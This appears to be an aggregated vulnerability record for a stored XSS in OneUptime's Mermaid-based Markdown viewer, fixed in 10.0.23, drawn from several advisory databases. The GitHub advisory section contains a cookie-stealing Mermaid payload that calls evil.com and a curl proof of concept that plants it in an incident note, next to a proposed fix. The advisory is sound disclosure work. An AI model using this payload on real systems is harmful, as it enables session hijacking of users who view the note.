OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.

Source published

12 Mar 2026 21:29:00 UTC

Source modified

14 Mar 2026 03:43:13 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.

Source published

Mar 12, 2026, 9:29:00 PM (timezone not stated)

Source modified

Mar 14, 2026, 3:43:13 AM (timezone not stated)

Observed here

11 Nov 2026 08:32:11 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.

Source published

13 Mar 2026 19:54:42 UTC

Source modified

7 Oct 2026 08:10:00 UTC

Observed here

25 Oct 2026 07:19:20 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

### Summary The Markdown viewer component renders Mermaid diagrams with `securityLevel: "loose"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. ### Details **Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:** ```typescript // MarkdownViewer.tsx:76 mermaid.initialize({ securityLevel: "loose", // Allows interactive event bindings // ... }); ``` The Mermaid documentation explicitly warns: `securityLevel: "loose"` allows click events and other interactive bindings in diagrams. The safe default is `"strict"` which strips all interactivity. **SVG injection via innerHTML — `MarkdownViewer.tsx:106`:** ```typescript // MarkdownViewer.tsx:106 if (containerRef.current) { containerRef.current.innerHTML = svg; // Raw SVG injection } ``` After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: "loose"`, this allows event handlers embedded in the SVG to execute. **Mermaid XSS payload:** ```markdown ```mermaid graph TD A["Click me"] click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)" ```​ ``` With `securityLevel: "loose"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript. ### PoC ```bash # Authenticate TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"password123"}' \ | jq -r '.token') # Create an incident note with Mermaid XSS payload curl -s -X POST 'https://TARGET/api/incident-note' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECT_ID' \ -d '{ "data": { "incidentId": "INCIDENT_ID", "note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```", "noteType": "RootCause" } }' # Any user viewing this incident note will have their cookies exfiltrated ``` ```bash # Verify the vulnerability in source code: # 1. securityLevel: "loose": grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx # Line 76: securityLevel: "loose" # 2. innerHTML injection: grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx # Line 106: containerRef.current.innerHTML = svg ``` ### Impact **Stored XSS in any markdown-rendered field.** Affects: 1. **Incident notes/descriptions** — viewed by on-call engineers during incidents 2. **Status page announcements** — viewed by public visitors 3. **Monitor descriptions** — viewed by team members 4. **Any markdown field** — the MarkdownViewer component is shared across the UI The "loose" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application. ### Proposed Fix ```typescript // 1. Change securityLevel to "strict" (default safe mode): mermaid.initialize({ securityLevel: "strict", // Strips all interactive bindings // ... }); // 2. Use DOMPurify on the SVG output before innerHTML injection: import DOMPurify from "dompurify"; if (containerRef.current) { containerRef.current.innerHTML = DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true, svgFilters: true }, ADD_TAGS: ['foreignObject'], }); } ```

Source published

13 Mar 2026 20:00:38 UTC

Source modified

16 Mar 2026 17:16:23 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Publisher rating · HIGH